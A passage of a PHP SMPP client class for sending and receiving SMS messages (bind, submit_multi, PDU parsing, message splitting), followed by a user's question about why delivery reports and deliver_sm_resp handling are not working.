////$pdu = pack($message_id . chr(0), $source_addr_ton . chr(0), $source_addr_npi . chr(0), $source_addr);
$status = $this->SendPDU(deliver_sm, $pdu);
////$this->ExpectPDU(0);
return $this->dlvrSms;
}
/*
This method sends a single message to a comma separated list of phone numbers.
There is no limit to the number of messages to send.
Parameters:
$tolist : comma seperated list of phone numbers
$text : text of message to send
$unicode: Optional. Indicates if input string is html encoded unicode string.
Returns:
true if messages received by smpp server, otherwise false.
Example:
$smpp->SendMulti("31777110204,31649072766,...,...", "This is an SMPP Test message.");
*/
function SendMulti($tolist, $text, $unicode = false)
{
if (!$this->_socket) {
$this->debug("Not connected, while trying to send SUBMIT_MULTI.\n");
// return;
}
$service_type = '';
//default source TON and NPI for international sender
$source_addr_ton = 1;
$source_addr_npi = 1;
$source_addr = $this->_source_address;
if (preg_match('/\D/', $source_addr)) {
//alphanumeric sender
$source_addr_ton = 5;
$source_addr_npi = 0;
} elseif (strlen($source_addr) < 11) {
//national or shortcode sender
$source_addr_ton = 2;
$source_addr_npi = 1;
}
$dest_addr_ton = 1;
$dest_addr_npi = 1;
$destination_arr = explode(",", $tolist);
$esm_class = 3;
$protocol_id = 0;
$priority_flag = 0;
$schedule_delivery_time = "";
$validity_period = "";
$registered_delivery_flag = 1;
$replace_if_present_flag = 0;
$data_coding = 241;
$sm_default_msg_id = 0;
if ($unicode) {
$text = mb_convert_encoding($text, "UCS-2BE", "HTML-ENTITIES");
$data_coding = 8;
/* UCS2 */
$multi = $this->split_message_unicode($text);
} else {
$multi = $this->split_message($text);
}
$multiple = (count($multi) > 1);
if ($multiple) {
$esm_class += 0x00000040;
}
$result = true;
reset($multi);
while (list(, $part) = each($multi)) {
$short_message = $part;
$sm_length = strlen($short_message);
$status = $this->SendSubmitMulti($service_type, $source_addr_ton, $source_addr_npi, $source_addr, $dest_addr_ton, $dest_addr_npi, $destination_arr, $esm_class, $protocol_id, $priority_flag, $schedule_delivery_time, $validity_period, $registered_delivery_flag, $replace_if_present_flag, $data_coding, $sm_default_msg_id, $sm_length, $short_message);
if ($status != 0) {
$this->debug("SMPP server returned error $status.\n");
$result = false;
}
}
return $result;
}
// private members (not documented):
function ExpectPDU($our_sequence_number)
{
do {
$this->debug("\n\nTrying to read PDU.\n");
if (feof($this->_socket)) {
$this->debug("Socket was closed.!!\n");
return false;
}
$elength = fread($this->_socket, 4);
if (empty($elength)) {
$this->debug("Connection lost.\n");
return false;
}
extract(unpack("Nlength", $elength));
$this->debug("Reading PDU : $length bytes.\n");
$stream = fread($this->_socket, $length - 4);
//$stream = fread($this->_socket, 12);
if (!$stream)
return false;
$this->debug("Stream len : " . strlen($stream) . "\n");
$this->debug("Stream Hex : " . $this->printHex($stream) . "\n");
extract(unpack("Ncommand_id/Ncommand_status/Nsequence_number", $stream));
//$info = stream_get_meta_data($this->_socket);
//$this->debug("stream_get_meta_data id : ".var_export($info,true)."\n");
$command_id &= 0x0fffffff;
$this->debug("Command id : $command_id.\n");
$this->debug("Command status : $command_status.\n");
$this->debug("sequence_number : $sequence_number.\n");
$pdu = substr($stream, 12);
//$pdu=$stream;
switch ($command_id) {
case bind_transmitter:
$this->debug("Got bind_transmitter_RESP.\n");
$spec = "asystem_id";
//extract($this->unpack2($spec, $pdu));
$this->debug("system id : $system_id.\n");
break;
case bind_receiver:
$this->debug("Got bind_receiver_RESP.\n");
$spec = "asystem_id";
extract($this->unpack2($spec, $pdu));
$this->debug("system id : $system_id.\n");
break;
case unbind:
$this->debug("Got unbind_RESP.\n");
break;
case submit_sm:
$this->debug("Got submit_sm_RESP.\n");
if ($command_status == 0) {
$spec = "amessage_id";
extract($this->unpack2($spec, $pdu));
$this->debug("message id : $message_id.\n");
$this->_message_id = $message_id;
}
break;
case submit_multi:
$this->debug("Got submit_multi_RESP.\n");
$spec = "amessage_id/cno_unsuccess/";
extract($this->unpack2($spec, $pdu));
$this->debug("message id : $message_id.\n");
$this->debug("no_unsuccess : $no_unsuccess.\n");
break;
case enquire_link:
$this->debug("GOT enquire_link_RESP.\n");
break;
case deliver_sm;
$this->debug("GOT deliver_sm.\n");
$body = substr($stream, 8, $length);
$this->dlvrSms[] = $this->parseSMS($body, $sequence_number);
$this->SendPDU(deliver_sm_resp, "",$sequence_number);
break;
case deliver_sm_resp;
$this->debug("GOT deliver_sm_resp.\n");
//$body = substr($stream,8, $length);
//$this->dlvrSms[]= $this->parseSMS($body);
break;
case query_sm;
$this->debug("GOT deliver_sm.\n");
$body = substr($stream, 8, $length);
$this->dlvrSms[] = $this->parseSMS($body, $sequence_number);
break;
case generic_nack:
$this->debug("Got generic_nack SMPP pdu.\n");
$spec = "ccommand_length/ccommand_id/ccommand_status/csequence_number";
extract($this->unpack2($spec, $pdu));
$this->debug("command_length generic_nack == " . $command_length . "\n");
$this->debug("command_id generic_nack == " . $command_id . "\n");
$this->debug("command_status generic_nack == " . $command_status . "\n");
$this->debug("command_status generic_nack == " . $command_status . "\n");
break;
default:
$this->debug("Got unknow $command_id SMPP pdu.\n");
}
$this->debug("\nReceived PDU: \n");
for ($i = 0; $i < strlen($stream); $i++) {
if (ord($stream[$i]) < 32)
$this->debug("(" . ord($stream[$i]) . ")");
else
$this->debug($stream[$i]);
}
$this->debug("\n");
} while ($sequence_number != $our_sequence_number);
return $command_status;
}
/**
* #private function
* Parse deliver PDU from SMSC.
* #param $pdu - deliver PDU from SMSC.
* #return parsed PDU as array.
*/
function parseSMS($body, $sequence_number)
{
//check command id
//unpack PDU
$ar = unpack("C*", $body);
//$ar=unpack("C*",$pdu['body']);
$sms = array('service_type' => $this->getString($ar, 6), 'source_addr_ton' => array_shift($ar), 'source_addr_npi' => array_shift($ar), 'source_addr' => $this->getString($ar, 21), 'dest_addr_ton' => array_shift($ar), 'dest_addr_npi' => array_shift($ar), 'destination_addr' => $this->getString($ar, 21), 'esm_class' => array_shift($ar), 'protocol_id' => array_shift($ar), 'priority_flag' => array_shift($ar), 'schedule_delivery_time' => array_shift($ar), 'validity_period' => array_shift($ar), 'registered_delivery' => array_shift($ar), 'replace_if_present_flag' => array_shift($ar), 'data_coding' => array_shift($ar), 'sm_default_msg_id' => array_shift($ar), 'sm_length' => array_shift($ar), 'short_message' => $this->getString($ar, 255));
// $this->_sequence_number=$sequence_number;
//send responce of recieving sms
return $sms;
}
function SendPDU($command_id, $pdu, $sequence_number = null)
{
if ($sequence_number == null) {
$sequence_number = $this->_sequence_number;
}
$length = strlen($pdu) + 16;
$header = pack("NNNN", $length, $command_id, $this->_command_status, $sequence_number);
$this->debug("Sending PDU, len == $length\n");
$this->debug("Sending PDU, header-len == " . strlen($header) . "\n");
$this->debug("Sending PDU, command_id == " . $command_id . "\n");
$this->debug("Sending PDU, sequence number == " . $sequence_number . "\n");
$this->debug("Sending PDU, command status == " . $this->_command_status . "\n");
fwrite($this->_socket, $header . $pdu, $length);
$status = $this->ExpectPDU($sequence_number);
$this->_sequence_number = $this->_sequence_number + 1;
return $status;
}
function SendBindTransmitter($system_id, $smpppassword, $system_type)
{
$system_id = $system_id . chr(0);
$system_id_len = strlen($system_id);
$smpppassword = $smpppassword . chr(0);
$smpppassword_len = strlen($smpppassword);
$system_type = $system_type . chr(0);
$system_type_len = strlen($system_type);
$pdu = pack("a{$system_id_len}a{$smpppassword_len}a{$system_type_len}CCCa1", $system_id, $smpppassword, $system_type, $this->interface_version, $this->addr_ton, $this->addr_npi, $this->address_range);
$this->debug("Bind Transmitter PDU: ");
for ($i = 0; $i < strlen($pdu); $i++) {
$this->debug(ord($pdu[$i]) . " ");
}
$this->debug("\n");
$status = $this->SendPDU(bind_transmitter, $pdu);
return $status;
}
function SendBindReceiver($system_id, $smpppassword, $system_type)
{
$system_id = $system_id . chr(0);
$system_id_len = strlen($system_id);
$smpppassword = $smpppassword . chr(0);
$smpppassword_len = strlen($smpppassword);
$system_type = $system_type . chr(0);
$system_type_len = strlen($system_type);
$pdu = pack("a{$system_id_len}a{$smpppassword_len}a{$system_type_len}CCCa1" . (strlen($this->address_range) + 1), $system_id, $smpppassword, $system_type, $this->interface_version, $this->addr_ton, $this->addr_npi, $this->address_range);
$this->debug("Bind Receiver PDU: ");
for ($i = 0; $i < strlen($pdu); $i++) {
$this->debug(ord($pdu[$i]) . " ");
}
$this->debug("\n");
$status = $this->SendPDU(bind_transceiver, $pdu);
return $status;
}
function SendUnbind()
{
$pdu = "";
$status = $this->SendPDU(unbind, $pdu);
return $status;
}
function SendSubmitSM($service_type, $source_addr_ton, $source_addr_npi, $source_addr, $dest_addr_ton, $dest_addr_npi, $destination_addr, $esm_class, $protocol_id, $priority_flag, $schedule_delivery_time, $validity_period, $registered_delivery_flag, $replace_if_present_flag, $data_coding, $sm_default_msg_id, $sm_length, $short_message)
{
$service_type = $service_type . chr(0);
$service_type_len = strlen($service_type);
$source_addr = $source_addr . chr(0);
$source_addr_len = strlen($source_addr);
$destination_addr = $destination_addr . chr(0);
$destination_addr_len = strlen($destination_addr);
$schedule_delivery_time = $schedule_delivery_time . chr(0);
$schedule_delivery_time_len = strlen($schedule_delivery_time);
$validity_period = $validity_period . chr(0);
$validity_period_len = strlen($validity_period);
// $short_message = $short_message . chr(0);
$message_len = $sm_length;
$spec = "a{$service_type_len}cca{$source_addr_len}cca{$destination_addr_len}ccca{$schedule_delivery_time_len}a{$validity_period_len}ccccca{$message_len}";
$this->debug("PDU spec: $spec.\n");
$pdu = pack($spec, $service_type, $source_addr_ton, $source_addr_npi, $source_addr, $dest_addr_ton, $dest_addr_npi, $destination_addr, $esm_class, $protocol_id, $priority_flag, $schedule_delivery_time, $validity_period, $registered_delivery_flag, $replace_if_present_flag, $data_coding, $sm_default_msg_id, $sm_length, $short_message);
$status = $this->SendPDU(submit_sm, $pdu);
return $status;
}
function SendSubmitMulti($service_type, $source_addr_ton, $source_addr_npi, $source_addr, $dest_addr_ton, $dest_addr_npi, $destination_arr, $esm_class, $protocol_id, $priority_flag, $schedule_delivery_time, $validity_period, $registered_delivery_flag, $replace_if_present_flag, $data_coding, $sm_default_msg_id, $sm_length, $short_message)
{
$service_type = $service_type . chr(0);
$service_type_len = strlen($service_type);
$source_addr = $source_addr . chr(0);
$source_addr_len = strlen($source_addr);
$number_destinations = count($destination_arr);
$dest_flag = 1;
$spec = "a{$service_type_len}cca{$source_addr_len}c";
$pdu = pack($spec, $service_type, $source_addr_ton, $source_addr_npi, $source_addr, $number_destinations);
$dest_flag = 1;
reset($destination_arr);
while (list(, $destination_addr) = each($destination_arr)) {
$destination_addr .= chr(0);
$dest_len = strlen($destination_addr);
$spec = "ccca{$dest_len}";
$pdu .= pack($spec, $dest_flag, $dest_addr_ton, $dest_addr_npi, $destination_addr);
}
$schedule_delivery_time = $schedule_delivery_time . chr(0);
$schedule_delivery_time_len = strlen($schedule_delivery_time);
$validity_period = $validity_period . chr(0);
$validity_period_len = strlen($validity_period);
$message_len = $sm_length;
$spec = "ccca{$schedule_delivery_time_len}a{$validity_period_len}ccccca{$message_len}";
$pdu .= pack($spec, $esm_class, $protocol_id, $priority_flag, $schedule_delivery_time, $validity_period, $registered_delivery_flag, $replace_if_present_flag, $data_coding, $sm_default_msg_id, $sm_length, $short_message);
$this->debug("\nMulti PDU: ");
for ($i = 0; $i < strlen($pdu); $i++) {
if (ord($pdu[$i]) < 32)
$this->debug(".");
else
$this->debug($pdu[$i]);
}
$this->debug("\n");
//$this->_command_status='';
$status = $this->SendPDU(submit_multi, $pdu);
return $status;
}
function split_message($text)
{
$this->debug("\n\nIn split_message.\n");
$max_len = 153;
$res = array();
if (strlen($text) <= 160) {
$this->debug("One message: " . strlen($text) . "\n");
$res[] = $text;
return $res;
}
$pos = 0;
$msg_sequence = $this->_message_sequence++;
$num_messages = ceil(strlen($text) / $max_len);
$part_no = 1;
while ($pos < strlen($text)) {
$ttext = substr($text, $pos, $max_len);
$pos += strlen($ttext);
$udh = pack("cccccc", 5, 0, 3, $msg_sequence, $num_messages, $part_no);
$part_no++;
$res[] = $udh . $ttext;
$this->debug("Split: UDH = ");
for ($i = 0; $i < strlen($udh); $i++) {
$this->debug(ord($udh[$i]) . " ");
}
$this->debug("\n");
$this->debug("Split: $ttext.\n");
}
return $res;
}
function split_message_unicode($text)
{
$this->debug("\n\nIn split_message.\n");
$max_len = 134;
$res = array();
if (mb_strlen($text) <= 140) {
$this->debug("One message: " . mb_strlen($text) . "\n");
$res[] = $text;
return $res;
}
$pos = 0;
$msg_sequence = $this->_message_sequence++;
$num_messages = ceil(mb_strlen($text) / $max_len);
$part_no = 1;
while ($pos < mb_strlen($text)) {
$ttext = mb_substr($text, $pos, $max_len);
$pos += mb_strlen($ttext);
$udh = pack("cccccc", 5, 0, 3, $msg_sequence, $num_messages, $part_no);
$part_no++;
$res[] = $udh . $ttext;
$this->debug("Split: UDH = ");
for ($i = 0; $i < strlen($udh); $i++) {
$this->debug(ord($udh[$i]) . " ");
}
$this->debug("\n");
$this->debug("Split: $ttext.\n");
}
return $res;
}
function unpack2($spec, $data)
{
$res = array();
$specs = explode("/", $spec);
$pos = 0;
reset($specs);
while (list(, $sp) = each($specs)) {
$subject = substr($data, $pos);
$type = substr($sp, 0, 1);
$var = substr($sp, 1);
switch ($type) {
case "N":
$temp = unpack("Ntemp2", $subject);
$res[$var] = $temp["temp2"];
$pos += 4;
break;
case "c":
$temp = unpack("ctemp2", $subject);
$res[$var] = $temp["temp2"];
$pos += 1;
break;
case "a":
$pos2 = strpos($subject, chr(0)) + 1;
$temp = unpack("a{$pos2}temp2", $subject);
$res[$var] = $temp["temp2"];
$pos += $pos2;
break;
}
}
return $res;
}
/**
* #private function
* Reads C style zero padded string from the char array.
* #param $ar - input array
* #param $maxlen - maximum length to read.
* #return readed string.
*/
function getString(&$ar, $maxlen = 255)
{
$s = "";
$i = 0;
do {
$c = array_shift($ar);
if ($c != 0)
$s .= chr($c);
$i++;
} while ($i < $maxlen && $c != 0);
return $s;
}
/**
* #private function
* Prints the binary string as hex bytes.
* #param $maxlen - maximum length to read.
*/
function printHex($pdu)
{
$a = "";
$ar = unpack("C*", $pdu);
foreach ($ar as $v) {
$s = dechex($v);
if (strlen($s) < 2)
$s = "0$s";
$a .= "$s ";
}
return $a . "\n";
}
function debug($str)
{
if ($this->_debug) {
echo $str;
}
}
}
?>
Deliver_sm and Deliver_sm_resp is not working, When i request for delivery report the server is sending me deliver_sm but deliver_sm_resp is not working.
Any body know how to receive delivery report of specific sms, although i have message id of every sms.